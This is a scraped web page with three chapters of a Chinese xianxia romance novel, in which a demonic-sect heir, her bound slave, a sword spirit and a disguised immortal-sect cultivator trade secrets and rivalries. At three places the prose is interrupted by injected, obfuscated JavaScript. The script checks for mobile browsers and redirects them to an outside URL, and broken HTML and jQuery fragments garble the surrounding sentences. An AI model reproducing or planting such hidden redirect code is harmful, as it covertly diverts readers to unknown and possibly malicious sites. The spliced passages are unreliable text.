凝露急急喊道,双手掐诀,控制剑身悬于空中,剑尖分寸不让,或许只要几息便可贯穿他的头颅。 “你傻了吗,为何不躲。”她挡在他的身前,头也不回地问。 明明已经躲开了还要再回来,明明知道他也应有自保之力。 若是轻而易举就能死去的魔奴,又如何能跟随在她的身边。 萧阙寒手指微动,想要拂散她落于自己脸庞上的发,它没有什么味道,有的也只是暖茸茸的触感。 他还是没有那么做,而是从她身后走了出来,她挥洒于他身上的光影也自然而然地远去。 “我还以为这是你的考验。”萧阙寒抬手握住了剑尖,指尖猩红的血液滴落,剑身细微地抖动似在哀鸣。 肉眼不可见的裂痕逐渐蔓延。 萧阙寒看向了凝露。 凝露皱眉:“松手。” 他再用力下去,这柄剑就要折了。 萧阙寒听从了她的命令,松开了手,掌心藏起了血淋淋的剑痕,没事人一样站在她的身边。 云观冷哼了一声,剑倏地回到她的手中,她轻抚而过,转眼挑剔地打量了他一遍,目光落到了他脖子上的魔奴印上。 她明白是自己多想了。 “凝凝,下次不要带一些乱七八糟的人回来。” 凝露点头:“他是我新得的魔奴,不算外人。” 云观冷淡地嗯了一声。 他解除了敛息术,表面上看起来人模狗样了,就是让她想起了另一个人,一个包藏祸心的坏种。 “这次你倒还记得打上魔奴印了。”她叹息道。 凝露只想快点把话题转移,她不想再提起之前那个人了,一条不服管教、肆意妄为的恶犬,恨不得他死在外面。 “好了,云观,我们快进去吧。”她扯了扯云观的衣袖。 萧阙寒发现了这里地位就他最低。 云观不喜他,似乎也影响到了凝露对他的态度,对他也没有那么“热情”了,好在这次她没有忘记他。 凝露把他带入了自己的地盘。 无妄殿宽广,景致清幽且冷寂,光鉴的地面孤伶伶地照出她们三个人的影子,即便内殿足够金碧辉煌也抹不去横亘在其中的若隐若现的寂寥。 萧阙寒静静地跟在她们身后。 他目不转睛地盯着凝露,她一个劲地缠着云观撒娇卖痴,绞尽脑汁追问她使出来的惊天一剑。 “云观,你和断生魔君都是修剑的,你们之间谁更厉害?” “你可不可以告诉我剑修都有什么弱点?” “你剑术这么好,怎么平常没看你练剑呀。” 一只扰人的小蜜蜂。 萧阙寒淡淡地想,她之前好像也是这样追问他的,可凭什么所有人都要回答她的问题,怎么不来问他呢。 他也折过不少剑修的剑,比他们自己都要更了解剑的弱点。 云观纠正了凝露的说法:“我不是剑修,出剑对我来说更像是本能,所以我也没办法告诉你其余剑修的弱点。” 她说:“每个剑修的剑道是不一样的。论修为,断生魔君强我百倍;论剑术,断生魔君与我不相上下。” 不是剑修。 云观却说自己剑术不落于任何人。 凝露好奇地想要摸她手里的那柄剑了,可这次云观拒绝了她,她担心凝露把她的剑直接拆了。 她是真能干出这种事。 “好吧。”凝露失落。 萧阙寒一直在观察凝露,见她闷闷不乐的神情,若有所思地看了眼云观,碧色的眼眸闪过了一道隐秘的符文。 他忽然出声:“你不是剑修,你是剑器化形。” 云观顿住了脚步,眼中怒意尽显:“如果你不是凝露的魔奴,在你说出口的一瞬间,我必让你飞灰湮灭。” 剑能产生灵智。 剑灵的存在已是少见,可它们仍需寻找主人才有探寻大道的机会;而剑器化形千年难得一遇,想要成为一个真正的生灵,天道或许有所不容。 想必她身后已有人为此付出生命代价。 …… 真是复杂的人和事。 萧阙寒笑了,他并不在意云观的威胁,至始至终他的生死只属于一个人:“你想要知道剑修的弱点,为什么不问问我呢。” 凝露眨了眨眼。 原来他惹怒了云观的那句话是对她说的啊。 云观深吸了一口气:“凝凝,他说的没错,我是剑器化形。” “我不能告诉你,是因为我的身份牵扯进了你母亲的往事,在你没有能力自保前,我不能让你对上云山剑冢。”她算是明白了被凝露看重的狗没有一个是省油的灯。 凝露:“云山剑冢?” “顾名思义剑的坟墓,里面躺满了各式各样的断剑,这些剑有叛主的,噬主的,甚至还有杀人灭世的。扶山剑负责镇压剑冢,决不允许任何一柄剑出世,若有逃离之剑,其剑主同罪。”萧阙寒目光冷锐。 他还未突破元婴期。 如今魔奴印束缚之下,他和凝露就是一条绳上的蚂蚱,他不希望自己的主人身边还有其余别有用心之人。 云观咬牙切齿:“我并未认主,而且我是被迫入云山剑冢。” 它认为自己算是一柄好剑,从未干过什么伤天害理之事,若不是有人要强迫它认主,它也不会被丢入云山。 幸好秋溯影把它偷了出去,不然它恐怕还得被镇压不知多少年,直至剑身腐朽,灵智消散,正好如他人之愿。 如今溯影死了,只有她的血脉尚存。 “我不告诉凝露是为了保护她。”云观眼神悲哀。 萧阙寒笑了:“一无所知的人在苍玄界只会死的最快。” 保护是这个世上最脆弱最残酷的谎言。 凝露没想到她们能吵起来,还是因为自己,可她和云观相处的更久,她内心还是偏向这个从小就陪伴着她的人。 “够了。” 凝露抬起眼,她看了萧阙寒好一会儿,还是引动了魔奴印,“不要再探究我身边的人和事,记住不许僭越。” 她也不需要任何人保护。 萧阙寒骤然跪倒在地,疼痛使他全身肌肉紧绷,他只能仰视着她,仰视红衣烈烈下冷酷而又无情的心肠。 主人…… 他冷笑了一声,原来自己心中还是恨的啊。 这世间哪有人天生下贱,愿意去做跪伏别人脚下的奴仆,卑躬屈膝,就连丝毫可悲的自尊也不配拥有。 …… “云观走了,我并未在她面前惩戒你。” 凝露心烦意乱,她知道自己生活在一个巨大的漩涡里,偶尔连她自己都会感到心惊害怕。 云观就像是她自欺欺人的屏风。 她躲进屏风过着平静似水的日子,偶尔也能探出头显露出一些少年意气,她的眼上蒙着纱,世界也是蒙着一层纱。 “为什么?”凝露问他。 为什么要执着于撕开蒙眼的纱,执着于看清漩涡里的世界。 “这不正是你想要知道的么。”萧阙寒喘息地回道。 她本身就对他拥有绝对的掌控权,如果她不想知道,她完全可以让他闭嘴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716986|173763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>是凝露放纵了他。 “你真是越来越合我的心意了。”她的手抚摸着他的脸庞,从他的额头摸到他的眼睛,再到高挺的鼻子和柔软的唇,光洁的皮肉下是同样执拗的骨骼。 凝露都有点舍不得对他太坏了。 疼痛只是一瞬。 萧阙寒踉踉跄跄地站了起来,沉默地不想再听她说的任何话,他从未见过像凝露这样的人,风一样的善变,柔情和残酷同时存在。 他闹别扭了。 凝露眉尖微蹙,强行将他的脸转了过来:“你生气了?” 萧阙寒:“没有。” “说谎。” 凝露想了想,继续道,“其实你可以生气的,我本来没想让你跪下,但云观她伤心了,我不想再让她伤心。” 她只能委屈下萧阙寒。 人有远近亲疏之分,他应当能理解的吧。 “不会再有其他人了。”凝露在意的人本就不多,他也能算的上是其中一个。 凝露看见了他手背上的剑痕。 萧阙寒闭上了眼睛,任由她去摸,直到她慢慢地摸索到了他斑驳的掌心。 伤口逐渐恢复了,可皮肉仍在抽搐,好似要将疼痛彻底铭刻入肌理,粘稠的血液也磨蹭到了她柔软的指尖。 灵气轻柔地环绕着他的手心。 “下次不要用手接剑了。”她的声音温柔的像是一汪春水。 萧阙寒抿唇:“我是炼体修士。” 他的伤好的快,疼痛对他来说更像是一种磨炼。 “那用这个。” 萧阙寒垂眸,看见自己手上多出的一副黑色指套,没有什么花里胡哨的装饰,朴素简约,质地柔韧。 “刀枪不入,水火不侵,应该挺适合你。”凝露不知从哪里找来了一把小刀,比划了下。 金丹期用也绰绰有余。 萧阙寒都不知道她什么时候准备的,他也从未经历过有人给他准备法宝用物,他一个人在外面野惯了。 他捧着这东西手脚僵硬。 “你看我还是很有诚意的吧。”凝露撑着下巴,笑眯眯地看向他,“所以别生气了。” 萧阙寒觉得自己又被哄好了。 他正想开口说些什么,凝露设在门口的禁制动了,外面的人很有礼貌,敲门似的响了三声。 凝露惊诧地抬起了头。 这个时候谁会来找她,不是直接闯入,而是先问询主人,这样正直的作风在魔门就显得格外特殊了。 她打开了禁制。 阳光也从外面挥洒了进来,门外之人的脸庞被描摹了一圈浅淡的金色光晕,她听到了声响,微微侧脸,发髻上缠绕的莲花发带随风飘荡,掀起一阵淡雅的清香。 徐弱水扬唇浅笑:“凝露姑娘,好久不见。” 凝露的心怦怦跳。 “我听闻你前些日子与周晟生死一战,可有受伤。我随归雪长老修行,未能亲自观战,心里实在难安,如今得了空便想着来看望你一番,可会嫌我叨扰。”她的眼中似有歉意。 凝露哪会想那么多,只觉得她能来简直是蓬荜生辉。 她红着脸,连忙摆手:“不会。弱水仙子,快请进。” 听到仙子两字,徐弱水的面容滞了一瞬,很快又恢复寻常,矜持地点了点头,就要随着凝露进去。 就在这时,萧阙寒出现在了门口。 他眼神微眯,只觉得徐弱水不请自来,定是心里又再打什么盘算。 凝露不了解他。 萧阙寒却跟他打了不下百遍的交道。 徐弱水自然也看到了他,面上神情微敛,笑意近似于无,视线从他的面上挪移到了他的颈间,如此显眼的纹路。 12. 第 12 章 一时间两个人都看向了凝露。 徐弱水容色沉静。 萧阙寒抱臂倚在檐柱,姿态闲适,没有丝毫掩饰的想法。 若不是他们之间的氛围凝滞,凝露一时半会儿想不起在梦中的未来,弱水仙子和她的魔奴会是一对神仙眷侣。 如今其中一人成了她的魔奴。 徐弱水只是与他相识,并未走到结契的那一步,可她身为仙门中人,想必是看不惯魔奴印这种东西的。 凝露小声道:“只是一个普通禁制。” 比起魔门更残忍的奴契,什么剥夺神智,主死仆死,仆死主无事发生,她已经很良善了。 萧阙寒眉头微挑,目光在她和徐弱水之间转了一圈,唇边笑意淡了下来。 普通禁制。 一个能让他痛得死去活来,生死受控于人的东西…… 她就这么喜欢徐弱水么。 如此在乎自己在一个正道修士眼里的看法么,身为魔门的少主难不成有朝一日还要投奔去仙门。 凝露心中气闷。 恨不得把萧阙寒给埋进地底,他身为魔奴就不能安分些,大摇大摆地让她觉得自己的名声受到了很大的挑战。 虽然魔修本来就没啥好名声。 徐弱水心思一向通透,她意识到三个人站在一起似乎让凝露有些尴尬,她都垂眼不敢看向自己了。 徐弱水记得宗门里的小师妹犯了错也是这幅模样。 可她并不是凝露的长辈。 徐弱水轻声道:“没关系,各人有各人的缘法。” 凝露只觉她说话真好听,如听仙乐耳暂明,她当即指使萧阙寒麻溜地站到一边,给她们让出条道来。 萧阙寒不可置信地指了指自己。 凝露歪了歪头,疑惑地问:“不是你是谁,你挡道了呀。” 萧阙寒气笑了。 说好不会再有其他人,结果徐弱水一来,他还是得往后靠。 即便如此,他仍是让了路。 凝露摇了摇徐弱水的衣袖,示意她跟上自己,无妄殿的灵园里栽种了数不清的一捻红,这些妖花以血肉为食,嗅到陌生的灵息会从四面八方汇聚而来。 紧跟着她就不会出事。 她们越走越远,萧阙寒静静地站在原地,忽而踢碎了脚边的石子。 他果然和徐弱水不太对付。 徐弱水问道:“我来的会不会有些不适宜。” “不会。” 徐弱水叹息:“他在等你。” 凝露站定了脚步,偏头回望,糜烂的花从枝头一整个跌落,满地的红如同一摊泼洒的鬼血,阴森而又艳丽,更为惊心动魄的是独身于花从中的人。 萧阙寒比那些花还要阴沉。 妖藤张牙舞爪地围绕在他的身边,对他的一身血肉垂涎三尺,却又因他身上有着凝露的灵息不敢轻易靠近。 它们拦截了他的路。 萧阙寒走到哪,它们悄无声息地跟到哪儿,他被烦得厉害,又不能随心所欲地毁去这些妖植,只能郁郁地盯着凝露的背影。 难得见他那么局促。 凝露忍不住轻笑,将他从胆大妄为的妖藤包围圈中解救了出来,拂去缠在他身上的乱七八糟的枝蔓。 “他是我的人,不许跟我抢。” 妖藤蹭了蹭凝露的手指,听话地回到了它们应该待的地方,顺从的仿佛一群无害的小宠物。 凝露莞尔:“这下它们应该不会再来烦你了。” 她有时候真的很温柔,她喜欢这些艳丽的花朵,就像她喜欢云观,喜欢萧阙寒,也喜欢徐弱水一样。 她的喜欢似乎并无差别,可其中仍有些许微妙的不同。 萧阙寒低声问:“你为什么喜欢徐弱水?” 凝露想了想,拈起了他发间的一枚落花,掌心轻轻一握,指缝晕染了深深浅浅的红,她向萧阙寒摊开了自己的手。 糜烂的花瓣涂抹了整个掌心,好似淌了满手的鲜血。 浓烈而又腥臭的味道。 凝露轻声说:“妖花再美艳,散发的也是腐烂的气味,以血肉为食的妖植,本身就脏污不堪。” 阳光和雨露早已满足不了它们,植物的天性却始终没有改变,它们仍旧拼命地向阳而生,汲取月华。 高悬的日月普渡众生,何人配将其拽入尘泥。 “我只是想成为被普照的众生之一。” 然后活下去。 凝露仰头,朝他笑:“我摘不了天上的日月,只能偷摘一颗天上星了,哪怕我的强求只能迫使星辰坠落。” 这世上总要有一颗属于她的流星吧。 萧阙寒手指轻颤,他想蒙住她的眼,捂住她的嘴,让她不能再说出诛心一般的蛊惑之语。 可他发现自己无法抵挡。 他听到了自己心中鼓噪的水流声,他握住了她向自己伸出的手,沉默而又细致地洗净了她掌心的花泥。 “很干净。”萧阙寒沙哑着嗓音。 凝露看着他,罕见地露出了一个真心实意的笑容。 他们在说什么,徐弱水不知道。 她也并没有偷听他人交谈的癖好,只是见他们耳鬓厮磨了一会儿,凝露向萧阙寒伸出了自己的手,而萧阙寒也毫不犹豫地回握了上去,他们又和好了。 徐弱水说不清自己心中的感受。 她心想或许朋友就是这样,要接受朋友有更亲密的友人出现时,总要有人排除在外,承受孤独。 凝露看见了她瘦削的身形,一袭白衣,寂然缥缈,好似随时可乘风而去。 安静到不像真人。 “弱水?”凝露忍不住出声唤道。 徐弱水仿佛被唤醒的玉石,琉璃眼眸聚出了微润的光彩,她侧过身,衣摆翻飞,遥遥望向了发出声音的凝露。 她和她身后之人已是形影不离。 凝露转瞬就来到了她的身边,眼中似有忧色,神识悄无声息地探出,查探了四周的事物,见一切寻常方才安下了心。 还好不是被夺去了魂。 “不好意思,让你久等了。”凝露面露歉意,她以为是自己舍她太久,让她心生无聊。 徐弱水:“没关系。” 她不着痕迹地瞥了眼凝露身后时不时走神的人,萧阙寒似乎仍沉浸在刚才的对话之中,只有身体在无意识地走动。 “矛盾解决了就可以了。”徐弱水淡淡道。 凝露抿唇一笑:“没有什么矛盾,他只是在动不动发些小脾气。” 徐弱水唇角微抿,以为自己听错了,萧阙寒都能被称得上脾性温和的话,那些死在他手里的人岂不是都得恨自己活不长久。 他居然有心甘情愿做魔奴的一天。 真是荒谬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716987|173763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凝露转移了话题,不想再聊萧阙寒的事情,萧阙寒是她的人,她对自己的人有很强的占有欲。 和弱水聊这方面有点奇怪。 “你喜欢喝茶吗?”凝露问道。 徐弱水轻轻点头。 凝露松了一口气,从仙门来的人她实在不知该怎么招待,可惜云观不在,不然肯定能帮她促进她们之间的关系。 都说女修之间更容易结交,她怎么就这么困难呢。 她和徐弱水远不到谈论花草、衣服、首饰甚至是更隐秘话题的地步。 若是论道魔之争,凝露觉得她会一剑戳死自己。 她喜欢喝茶真是太好了。 凝露记得云观也喜欢喝茶,她那里肯定藏了些好东西,她可以去薅过来,献给弱水仙子。 人情之间的往来不都在吃吃喝喝嘛。 凝露离开了。 大殿里只剩下萧阙寒和徐弱水,他们之间更加没什么交情,彼此之间寻不到一个共同的话题。 僵持了许久。 徐弱水正襟危坐,挥手落下了一道隔绝禁制,凝视着他脖子上的魔奴印,声音沉冷:“你已是决定彻底入魔门了么,西岭那边可还要你回去。” 萧阙寒神色冷了下来。 “如今你已不是抚山剑主,有何资格过问我之事。” 徐弱水默了片刻,缓道:“西岭欲使你入无生榜,萧氏与水月洞天力排众议,压下此事,望你速归。” 萧阙寒嗤笑:“不回。” 他确实罪大恶极,该入无生榜,九死一生的追杀他又不是没经历过。 “我听闻你杀了不止一个世家的长老和血脉后裔,已是惹上众怒,你所杀之人甚至还囊括了与自己同源的血脉同胞。即便如此,萧氏家主仍要保你。” 萧阙寒眉头微扬,声音懒散:“我杀的都是该死之人,美人煞这种东西还是彻底消失为好。至于血脉同胞,同父异母的玩意算什么兄弟姐妹。” 照杀不误。 徐弱水静默无言。 萧阙寒:“至于盼我速归,怕还是为了水月洞天和西岭萧氏的联姻吧,你真的认为北三州和腐朽的世家并在一起,就能压过魔门么。” “况且仙道崛起,与我何干。”萧阙寒言辞冷然。 “徐弱水,你为了他们的所谓宏图,甘愿俯首作配,亲手抹除过去的自己,成为“弱水仙子”的一道幽魂。这样的你,难怪扶山剑不愿再认你为主。” 何等的诛心之言。 可真正的“弱水仙子”尚不能担起大任。 “宗门养育之恩,晗微无以为报,只当尽力。”徐弱水想起了自己立下的道誓。 在那之后,水月洞天的晗微真人便身死道消,扶山剑也归寂于云山剑冢,如今行走于世的只有水月洞天的下一代道统传人——弱水仙子。 然徐淮冰并非弱水。 萧阙寒忽而道:“徐淮冰,你最好不要再靠近凝露了,你与她本就不是一路人,不要把她牵扯进道魔之争。” 滚滚洪流,天地无情。 执棋者当杀伐果决,视棋子为手中卒,手中盾,手中刃。 可谁曾想过棋子何辜。 徐弱水抿唇,眼中光芒沉寂:“我从未想过要利用她。” 一切皆出自于他的本能。 或许他确实不应该再靠近了。 13. 第 13 章 “那就好。”萧阙寒淡淡地睨他一眼。 他心知徐淮冰已有了退避之心,只他虽极力维持平静,可他神情中流露出来的一丝怃然却依旧令萧阙寒怫郁不悦。 若是凝露看见,估计又要凑上来嘘寒问暖了。 萧阙寒眸色深沉,意有所指道:“我如今是该唤你徐淮冰,晗微真人,还是徐弱水?” 他刻意加重了最后三个字。 徐淮冰默然。 他端坐于案边,双手垂落于袖,案几上的空荡恰如他封尘的内心。 莲花凋谢,浮冰沉底。 “……徐弱水。” 徐淮冰垂着眼眸,嗓音清冽冷寂,缓缓给出了自己的答案。 萧阙寒微微勾唇,心中的石头终于落了地。 “凝露她想要结交的也只有弱水仙子。” 而不是你——徐淮冰。 未能说出来的话流转在齿间,不必多说,他们都心知肚明。 好话歹话说了这么多,萧阙寒也微感口干舌燥,心想凝露去了这么久,怎么还没回来,他快坐不下去了。 他以往不屑于和徐淮冰交谈,行事狂妄惯了,凡事只听从自己的本心,对上这种克己奉公的人,更是道不同不相为谋,甚少来往。 若不是凝露,他们压根不会交谈。 可他不得不承认……徐淮冰的存在令他躁动不安。 徐弱水也沉浸在自己的思绪中,目光澄澄,虚无地盯着半空中的某个角落,再无任何想要交谈的意思。 凝露抱着茶叶回来的时候,差点以为自己回错了地方,好似来到了凡间的冷宫深苑,气氛冷的可怕。 里面坐的二人俱都面无表情,彼此之间相隔老远。 堪称是相看两相厌。 好在她回来之后,许是带来了外面的热气,厚厚的冰层隐有融化的迹象。 “你们这是怎么了?”凝露狐疑地看了他们一眼,若不是自己内殿的装饰完好无损,她还以为他们之间打了一架。 萧阙寒接过了她手中的茶叶:“话不投机而已。” 他倒要看看是什么好东西,让她去了那么久,打眼一瞧,心中不免酸涩,弱水仙子的待遇可真好啊。 还真是格外珍贵的灵物。 他这样不爱喝茶的人都看出来了,她手里的东西灵韵深厚,香气扑鼻,闻之令人有心旷神怡之感。 凝露期待地望向他:“你会泡茶吗?” 她只能看出灵茶珍贵,别的她就什么都不会了,如果萧阙寒会正好,他作为魔奴可算派上了一点用场。 泡茶给徐淮冰喝…… 萧阙寒面色一瞬扭曲,忍了忍,咬牙道:“不会。” 虽说茶艺也算世家公子必学的六艺之一,他年幼时也是认真学过了的,但他实在不喜这些附庸风雅的东西。 更别提还有某个碍眼的人,他过不了心中的那道坎。 “那你会做什么?” “看家、护院、打生打死……”萧阙寒垂眸,细细思索。 凝露不敢置信:“没有了?” 萧阙寒眉头轻挑,唇齿微咧,笑意幽冷:“还有啊,还有置之死地而后生,蚍蜉亦可撼大树。” 凝露:“……” 她连忙把珍贵的灵茶从他手中夺了过来,小心翼翼地捂在自己怀里,生怕他一不小心就毁掉了这株灵物。 萧阙寒舒了一口气,他这辈子都不可能去泡什么茶的。 “这是玄道花。”徐弱水不徐不疾地说道。 他不知何时站在了他们身边,无声无息如同清幽的冷雾,当他开口时,却仿佛天然能引起所有人的注视。 “玄道花生于北三洲,只有在灵气氤氲的水脉深处才会绽放,采撷花心蕊叶,再以特殊手法炼化,即可制成玄音茶。” 效果与悟道丹类似。 丹药分为天地玄黄四品,品阶之分,天壤之别。悟道丹为天品丹药,早已失传,据闻修士服用可顷刻结婴。 “玄音茶则可破除修士体内关隘,拥有一丝结婴契机,金丹期以下修士服用,修为立升一阶。” 萧阙寒蹙眉,他意识到玄音茶不简单了,这种特殊手法炼制的灵茶都由各大仙宗把控,绝不会轻易流传。 算的上是镇宗之宝。 凝露摸了摸怀中玄道花的莹莹细叶,洁白的花蕊如同一捧簌簌细雪,萦绕着纯净灵动的光辉。 她想起了云观欲言又止的神色。 云观还是那么心软,受不了她的缠磨,无奈地把这株灵花予她了,告诉她要好好保存,不要轻易露于他人。 她当时不以为意,如今看来这株灵花确实很珍稀。 凝露犹豫要不要把它还回去。 徐弱水睫羽低垂,视线落到了玉盒上的斑驳之处,如果他没看错的话,那应当是陈旧的泪痕,长年累月,经久不散,以至于和玉盒融为一体。 他没有告诉凝露的是——玄道花来自于水月洞天,某种程度而言,它确实算的上是宗门的镇派之宝。 徐弱水没曾想自己会在这里看到它。 萧阙寒也一直觉得这株灵花眼熟,眼熟到不容他忽视的地步,玄道花似乎有着更为特殊的意义。 “这株玄道花被保存了五百年,应当是有人在它还未完全绽放的时候就采摘了下来,封印的手法很细致,也很特殊。”徐弱水忽然开口。 他迟疑了片刻,继续道,“它应当不是作为药材而被保留下来的。” 反而更像是某种信物。 水月洞天尚未出现过玄道花失窃之事,那么这株蓦然出现在魔门的灵花究竟从何而来,又为何而来。 徐弱水无法忽视那些泪痕。 凝露喃喃自语:“难怪云观要我好好保存,幸好我没告诉她我其实是想拿它来泡茶,不然她一定很心痛。” “那它究竟有什么用呢?” 徐弱水静静地看着她,眼眸沉静如水,他想问凝露很多问题,问她口中的云观是谁,问她从哪里得来的这株玄道花。 可最终他什么也没能问出口。 他轻叹一声,冷静地回答了她的问题:“鸾凤和鸣,良缘永缔。” 凝露歪了歪头,不明白他说的什么意思。 萧阙寒面色骤冷。 他想起来了,水月洞天和西岭萧氏定下联姻的那日,水月洞天曾派人送来了一株玄道花作为结契信物,同理萧氏也回赠了一柄紫霄金刀作为交换。 天道见证,契约既成。 “真是好一个结契,怎么不让那两个老不死的应契呢。”萧阙寒咬牙切齿,传音骂他,“你们水月洞天是不是有毛病,莫名其妙地送什么玄道花。” 真正的弱水仙子是谁,他不知道。 西岭帝子却马上要变成他了,毕竟他把萧氏的血脉后裔杀得都快寸草不生,哪里还有人敢与他争帝子之位。 怪不得不愿让他入无生榜。 徐弱水神思不属,没有理会,毕竟契约又不在他的身上。 凝露恍然大悟:“原来是生死契。”情情爱爱的她不懂,结契道侣她就明白了,生死契之下,背叛者魂飞魄散。 魔道修士若要结为道侣,一般都以生死契为信,然后立下各种契约,不然随随便便来个互相捅刀,谁受的了。 不过也没多少魔修想要道侣。 她果然还是不通情爱。 徐弱水想了很久才想明白,他应当是不知不觉动了心,可这是不对的,这只是身份带来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧阙寒一字一句道:“徐淮冰,再这样下去,你还是你吗,这样的你根本不配成为我的对手,更不配站在她的身边。昔日的扶山剑主可一剑荡平山海,日月为之变色,如今的你可还能重现往日的光辉。” “凝露她仰慕的是可以与日月齐光、辉照相映的弱水仙子,而不是懦弱无能,只会归于尘土的废物—— 不要再令她担忧。” 徐淮冰神情恍然。 他费力维持的平静心湖陡然裂出了无数细缝,大雪倾覆下早就不堪重负,更倘论受外力猛击,他下意识想要修补却无济于事。 直到裂缝中冒出了汹汹烈焰。 它们烧灼一切,摧毁一切,同时也照亮一切。 徐淮冰在明灭的火光中看见了虚无缥缈的自己。 萧阙寒:“不要再靠近凝露。” 徐淮冰眼眸微垂:“……好。”他现在确实不应该靠近凝露,至少在他恢复自己的真实身份前。 他不可能永远做徐弱水。 他们之间的对话用的是传音入密。 凝露听不见他们交谈了什么,她只是看到弱水仙子低低笑了一声,好似如梦初醒,那双沉寂如雾的眼眸焕发出了斐然的光彩,犹如被点睛了的游龙。 她恢复如初,亦如梦中初见。 凝露近乎不敢直视。 她眼睁睁地看着徐弱水向她行了一礼,举止风度璀然,言辞清缓柔和,却蕴含了一丝疏离的意味。 她说自己来自于水月洞天,可否请她身后之人一叙。